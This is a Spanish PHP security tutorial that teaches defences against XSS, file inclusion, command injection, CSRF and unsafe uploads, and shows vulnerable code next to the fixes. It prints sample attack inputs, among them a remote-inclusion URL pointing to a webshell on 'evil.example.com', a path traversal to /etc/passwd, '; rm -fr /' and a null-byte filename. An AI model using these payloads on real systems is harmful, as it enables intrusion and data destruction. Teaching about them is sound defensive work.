PHP
Seguridad
Buscar..
Introducción
Como la mayoría de los sitios web utilizan PHP, la seguridad de la aplicación es un tema importante para que los desarrolladores de PHP protejan su sitio web, sus datos y sus clientes. Este tema cubre las mejores prácticas de seguridad en PHP, así como las vulnerabilidades y debilidades comunes con arreglos de ejemplo en PHP.
Observaciones
Ver también
Error al reportar
Por defecto, PHP generará errores , advertencias y mensajes de aviso directamente en la página si ocurre algo inesperado en un script. Esto es útil para resolver problemas específicos con un script, pero al mismo tiempo genera información que no quiere que sus usuarios sepan.
Por lo tanto, es una buena práctica evitar mostrar esos mensajes que revelarán información sobre su servidor, como su árbol de directorios, por ejemplo, en entornos de producción. En un entorno de desarrollo o prueba, estos mensajes aún pueden ser útiles para mostrar con fines de depuración.
Una solución rápida
Puede desactivarlas para que los mensajes no se muestren, sin embargo, esto hace que la depuración de su script sea más difícil.
<?php
ini_set("display_errors", "0");
?>
O cambiarlos directamente en el php.ini .
display_errors = 0
Errores de manejo
Una mejor opción sería almacenar esos mensajes de error en un lugar donde sean más útiles, como una base de datos:
set_error_handler(function($errno , $errstr, $errfile, $errline){
try{
$pdo = new PDO("mysql:host=hostname;dbname=databasename", 'dbuser', 'dbpwd', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
]);
if($stmt = $pdo->prepare("INSERT INTO `errors` (no,msg,file,line) VALUES (?,?,?,?)")){
if(!$stmt->execute([$errno, $errstr, $errfile, $errline])){
throw new Exception('Unable to execute query');
}
} else {
throw new Exception('Unable to prepare query');
}
} catch (Exception $e){
error_log('Exception: ' . $e->getMessage() . PHP_EOL . "$errfile:$errline:$errno | $errstr");
}
});
Este método registrará los mensajes en la base de datos y si eso falla en un archivo en lugar de hacerlo directamente en la página. De esta manera, puede hacer un seguimiento de lo que los usuarios están experimentando en su sitio web y notificarle de inmediato si algo va mal.
Secuencias de comandos entre sitios (XSS)
Problema
Las secuencias de comandos entre sitios son la ejecución involuntaria de código remoto por parte de un cliente web. Cualquier aplicación web puede exponerse a XSS si recibe información de un usuario y la publica directamente en una página web. Si la entrada incluye HTML o JavaScript, se puede ejecutar un código remoto cuando el cliente web representa este contenido.
Por ejemplo, si un tercero incluye un archivo JavaScript :
// http://example.com/runme.js
document.write("I'm running");
Y una aplicación PHP emite directamente una cadena que se le pasa:
<?php
echo '<div>' . $_GET['input'] . '</div>';
Si un parámetro GET sin marcar contiene <script src="http://example.com/runme.js"></script>
, la salida del script PHP será:
<div><script src="http://example.com/runme.js"></script></div>
El JavaScript de terceros se ejecutará y el usuario verá "Estoy ejecutando" en la página web.
Solución
Como regla general, nunca confíe en la información proveniente de un cliente. Cada valor GET, POST y cookie puede ser cualquier cosa y, por lo tanto, debe validarse. Cuando emita cualquiera de estos valores, escápelos para que no se evalúen de manera inesperada.
Tenga en cuenta que incluso en las aplicaciones más simples los datos se pueden mover y será difícil hacer un seguimiento de todas las fuentes. Por lo tanto, es una buena práctica escapar siempre de la salida.
PHP proporciona algunas formas de escapar de la salida dependiendo del contexto.
Funciones de filtro
Las funciones de filtro de PHP permiten que los datos de entrada al script php se desinfecten o validen de muchas maneras . Son útiles al guardar o enviar datos de entrada del cliente.
Codificación HTML
htmlspecialchars
convertirá los "caracteres especiales HTML" en sus codificaciones HTML, lo que significa que no se procesarán como HTML estándar. Para arreglar nuestro ejemplo anterior usando este método:
<?php
echo '<div>' . htmlspecialchars($_GET['input']) . '</div>';
// or
echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>';
Sería de salida:
<div><script src="http://example.com/runme.js"></script></div>
Todo lo que esté dentro de la etiqueta <div>
no será interpretado como una etiqueta de JavaScript por el navegador, sino como un simple nodo de texto. El usuario verá con seguridad:
<script src="http://example.com/runme.js"></script>
Codificación URL
Cuando se genera una URL generada dinámicamente, PHP proporciona la función urlencode
para urlencode
con seguridad URL válidas. Entonces, por ejemplo, si un usuario puede ingresar datos que se convierten en parte de otro parámetro GET:
<?php
$input = urlencode($_GET['input']);
// or
$input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL);
echo '<a href="http://example.com/page?input="' . $input . '">Link</a>';
Cualquier entrada maliciosa se convertirá en un parámetro de URL codificada.
Usando bibliotecas externas especializadas o listas de OWASP AntiSamy
A veces deseará enviar HTML u otro tipo de entradas de código. Deberá mantener una lista de palabras autorizadas (lista blanca) y no autorizada (lista negra).
Puede descargar las listas estándar disponibles en el sitio web de OWASP AntiSamy . Cada lista es apta para un tipo específico de interacción (ebay api, tinyMCE, etc ...). Y es de código abierto.
Existen bibliotecas para filtrar HTML y prevenir ataques XSS en el caso general y que funcionan al menos tan bien como las listas de AntiSamy con un uso muy fácil. Por ejemplo tienes purificador de HTML
Inclusión de archivos
Inclusión remota de archivos
La inclusión de archivos remotos (también conocida como RFI) es un tipo de vulnerabilidad que permite a un atacante incluir un archivo remoto.
Este ejemplo inyecta un archivo alojado remotamente que contiene un código malicioso:
<?php
include $_GET['page'];
/vulnerable.php?page= http://evil.example.com/webshell.txt ?
Inclusión de archivos locales
La inclusión de archivos locales (también conocida como LFI) es el proceso de incluir archivos en un servidor a través del navegador web.
<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
include $page;
} else {
include 'index.php';
}
/vulnerable.php?page=../../../../etc/passwd
Solución a RFI y LFI:
Se recomienda solo permitir la inclusión de archivos que usted haya aprobado, y limitarlos solo a esos.
<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
include($page);
} else {
include('index.php');
}
Inyección de línea de comando
Problema
De manera similar, la inyección SQL permite que un atacante ejecute consultas arbitrarias en una base de datos, la inyección de línea de comandos permite que alguien ejecute comandos del sistema que no sean de confianza en un servidor web. Con un servidor asegurado incorrectamente, esto le daría a un atacante un control completo sobre un sistema.
Digamos, por ejemplo, que un script le permite a un usuario listar el contenido del directorio en un servidor web.
<pre>
<?php system('ls ' . $_GET['path']); ?>
</pre>
(En una aplicación del mundo real, se usarían las funciones u objetos incorporados de PHP para obtener el contenido de la ruta. Este ejemplo es para una simple demostración de seguridad).
Uno esperaría obtener un parámetro de path
similar a /tmp
. Pero como cualquier entrada está permitida, la path
podría ser ; rm -fr /
. El servidor web ejecutaría entonces el comando.
ls; rm -fr /
e intenta eliminar todos los archivos de la raíz del servidor.
Solución
Todos los argumentos de comando deben escaparse utilizando escapeshellarg()
o escapeshellcmd()
. Esto hace que los argumentos no sean ejecutables. Para cada parámetro, el valor de entrada también debe ser validado .
En el caso más simple, podemos asegurar nuestro ejemplo con
<pre>
<?php system('ls ' . escapeshellarg($_GET['path'])); ?>
</pre>
Siguiendo el ejemplo anterior con el intento de eliminar archivos, el comando ejecutado se convierte en
ls '; rm -fr /'
Y la cadena simplemente se pasa como un parámetro a ls
, en lugar de terminar el comando ls
y ejecutar rm
.
Se debe tener en cuenta que el ejemplo anterior ahora es seguro desde la inyección de comandos, pero no desde el cruce de directorios. Para solucionar esto, se debe verificar que la ruta normalizada comience con el subdirectorio deseado.
PHP ofrece una variedad de funciones que se ejecutan los comandos del sistema, incluyendo exec
, passthru
, proc_open
, shell_exec
y system
. Todos deben tener sus entradas cuidadosamente validadas y escapadas.
Fuga de la versión de PHP
Por defecto, PHP le dirá al mundo qué versión de PHP está utilizando, por ejemplo,
X-Powered-By: PHP/5.3.8
Para arreglar esto puedes cambiar php.ini:
expose_php = off
O cambiar el encabezado:
header("X-Powered-By: Magic");
O si prefieres un método htaccess:
Header unset X-Powered-By
Si alguno de los métodos anteriores no funciona, también existe la función header_remove()
que le brinda la capacidad de eliminar el encabezado:
header_remove('X-Powered-By');
Si los atacantes saben que está usando PHP y la versión de PHP que está usando, es más fácil para ellos explotar su servidor.
Etiquetas de desmontaje
strip_tags
es una función muy poderosa si sabes cómo usarla. Como método para evitar ataques de scripts entre sitios, existen mejores métodos, como la codificación de caracteres, pero eliminar etiquetas es útil en algunos casos.
Ejemplo básico
$string = '<b>Hello,<> please remove the <> tags.</b>';
echo strip_tags($string);
Salida cruda
Hello, please remove the tags.
Permitir etiquetas
Digamos que desea permitir una determinada etiqueta pero no otras etiquetas, luego lo especificaría en el segundo parámetro de la función. Este parámetro es opcional. En mi caso, solo quiero que se pase la etiqueta <b>
.
$string = '<b>Hello,<> please remove the <br> tags.</b>';
echo strip_tags($string, '<b>');
Salida cruda
<b>Hello, please remove the tags.</b>
Aviso (s)
HTML
comentarios HTML
y las etiquetas PHP
también se eliminan. Esto está codificado y no se puede cambiar con allowable_tags.
En PHP
5.3.4 y versiones posteriores, las etiquetas XHTML
cierre automático se ignoran y solo se deben usar etiquetas que no sean de cierre automático en allowable_tags. Por ejemplo, para permitir tanto <br>
<br/>
, debe usar:
<?php
strip_tags($input, '<br>');
?>
Solicitud de falsificación entre sitios
Problema
La falsificación de solicitudes entre sitios o CSRF
puede forzar a un usuario final a generar, sin saberlo, solicitudes maliciosas a un servidor web. Este vector de ataque puede ser explotado en las solicitudes POST y GET. Digamos, por ejemplo, que el punto final de url /delete.php?accnt=12
elimina la cuenta tal como se pasa desde el parámetro accnt
de una solicitud GET. Ahora si un usuario autenticado encontrará el siguiente script en cualquier otra aplicación
<img src="http://domain.com/delete.php?accnt=12" width="0" height="0" border="0">
La cuenta sería eliminada.
Solución
Una solución común a este problema es el uso de tokens CSRF . Los tokens CSRF están integrados en las solicitudes, de modo que una aplicación web puede confiar en que una solicitud provino de una fuente esperada como parte del flujo de trabajo normal de la aplicación. Primero, el usuario realiza alguna acción, como ver un formulario, que activa la creación de un token único. Un formulario de ejemplo que implementa esto podría verse como
<form method="get" action="/delete.php">
<input type="text" name="accnt" placeholder="accnt number" />
<input type="hidden" name="csrf_token" value="<randomToken>" />
<input type="submit" />
</form>
El servidor puede validar el token contra la sesión del usuario después del envío del formulario para eliminar las solicitudes maliciosas.
Código de muestra
Aquí está el código de ejemplo para una implementación básica:
/* Code to generate a CSRF token and store the same */
...
<?php
session_start();
function generate_token() {
// Check if a token is present for the current session
if(!isset($_SESSION["csrf_token"])) {
// No token present, generate a new one
$token = random_bytes(64);
$_SESSION["csrf_token"] = $token;
} else {
// Reuse the token
$token = $_SESSION["csrf_token"];
}
return $token;
}
?>
<body>
<form method="get" action="/delete.php">
<input type="text" name="accnt" placeholder="accnt number" />
<input type="hidden" name="csrf_token" value="<?php echo generate_token();?>" />
<input type="submit" />
</form>
</body>
...
/* Code to validate token and drop malicious requests */
...
<?php
session_start();
if ($_GET["csrf_token"] != $_SESSION["csrf_token"]) {
// Reset token
unset($_SESSION["csrf_token"]);
die("CSRF token validation failed");
}
?>
...
Hay muchas bibliotecas y marcos ya disponibles que tienen su propia implementación de validación CSRF. Aunque esta es la implementación simple de CSRF, debe escribir algo de código para regenerar su token CSRF dinámicamente para evitar el robo y la fijación del token CSRF.
Subiendo archivos
Si desea que los usuarios carguen archivos en su servidor, necesita hacer un par de comprobaciones de seguridad antes de mover el archivo cargado a su directorio web.
Los datos subidos:
Esta matriz contiene datos enviados por el usuario y no es información sobre el archivo en sí. Si bien, por lo general, estos datos son generados por el navegador, se puede realizar fácilmente una solicitud de publicación al mismo formulario utilizando el software.
$_FILES['file']['name'];
$_FILES['file']['type'];
$_FILES['file']['size'];
$_FILES['file']['tmp_name'];
-
name
- verifica cada aspecto de ella -
type
- Nunca use estos datos. Puede ser recuperado usando funciones de PHP en su lugar. -
size
- seguro de usar. -
tmp_name
- Seguro de usar.
Explotando el nombre del archivo
Normalmente, el sistema operativo no permite caracteres específicos en un nombre de archivo, pero al falsificar la solicitud puede agregarlos para que ocurran cosas inesperadas. Por ejemplo, vamos a nombrar el archivo:
../script.php%00.png
Mira bien ese nombre de archivo y deberías notar un par de cosas.
- El primero en darse cuenta es el
../
, totalmente ilegal en un nombre de archivo y, al mismo tiempo perfectamente bien si va a mover un archivo desde el 1 de directorio a otro, lo que vamos a hacer ¿verdad? - Ahora puedes pensar que estabas verificando las extensiones de archivo correctamente en tu script, pero este exploit se basa en la decodificación de URL, traduciendo
%00
a un carácternull
, básicamente diciendo al sistema operativo, esta cadena termina aquí, eliminando.png
del nombre del archivo .
Así que ahora he subido script.php
a otro directorio, pasando las validaciones simples a las extensiones de archivo. También pasa por .htaccess
archivos .htaccess
que impide que los scripts se ejecuten desde su directorio de carga.
Obtención segura del nombre y extensión del archivo
Puede usar pathinfo()
para extrapolar el nombre y la extensión de manera segura, pero primero necesitamos reemplazar los caracteres no deseados en el nombre del archivo:
// This array contains a list of characters not allowed in a filename
$illegal = array_merge(array_map('chr', range(0,31)), ["<", ">", ":", '"', "/", "\\", "|", "?", "*", " "]);
$filename = str_replace($illegal, "-", $_FILES['file']['name']);
$pathinfo = pathinfo($filename);
$extension = $pathinfo['extension'] ? $pathinfo['extension']:'';
$filename = $pathinfo['filename'] ? $pathinfo['filename']:'';
if(!empty($extension) && !empty($filename)){
echo $filename, $extension;
} else {
die('file is missing an extension or name');
}
Si bien ahora tenemos un nombre de archivo y una extensión que se pueden usar para almacenar, sigo prefiriendo almacenar esa información en una base de datos y le doy un nombre generado, por ejemplo, md5(uniqid().microtime())
+----+--------+-----------+------------+------+----------------------------------+---------------------+
| id | title | extension | mime | size | filename | time |
+----+--------+-----------+------------+------+----------------------------------+---------------------+
| 1 | myfile | txt | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11 00:38:54 |
+----+--------+-----------+------------+------+----------------------------------+---------------------+
Esto resolvería el problema de nombres de archivos duplicados y explotaciones imprevistas en el nombre del archivo. También haría que el atacante adivine dónde se ha almacenado ese archivo, ya que no puede apuntarlo específicamente para su ejecución.
Validación de tipo mime
La verificación de una extensión de archivo para determinar qué archivo es no es suficiente, ya que un archivo llamado image.png
puede contener un script php. Al verificar el tipo mime del archivo cargado contra una extensión de archivo, puede verificar si el archivo contiene el nombre al que se refiere su nombre.
Incluso puede ir un paso más allá para validar las imágenes, y eso es realmente abrirlas:
if($mime == 'image/jpeg' && $extension == 'jpeg' || $extension == 'jpg'){
if($img = imagecreatefromjpeg($filename)){
imagedestroy($img);
} else {
die('image failed to open, could be corrupt or the file contains something else.');
}
}
Puede obtener el tipo mime utilizando una función incorporada o una clase .
Lista blanca de tus subidas
Lo más importante es que debe incluir en la lista blanca las extensiones de archivo y los tipos de mimo en función de cada formulario.
function isFiletypeAllowed($extension, $mime, array $allowed)
{
return isset($allowed[$mime]) &&
is_array($allowed[$mime]) &&
in_array($extension, $allowed[$mime]);
}
$allowedFiletypes = [
'image/png' => [ 'png' ],
'image/gif' => [ 'gif' ],
'image/jpeg' => [ 'jpg', 'jpeg' ],
];
var_dump(isFiletypeAllowed('jpg', 'image/jpeg', $allowedFiletypes));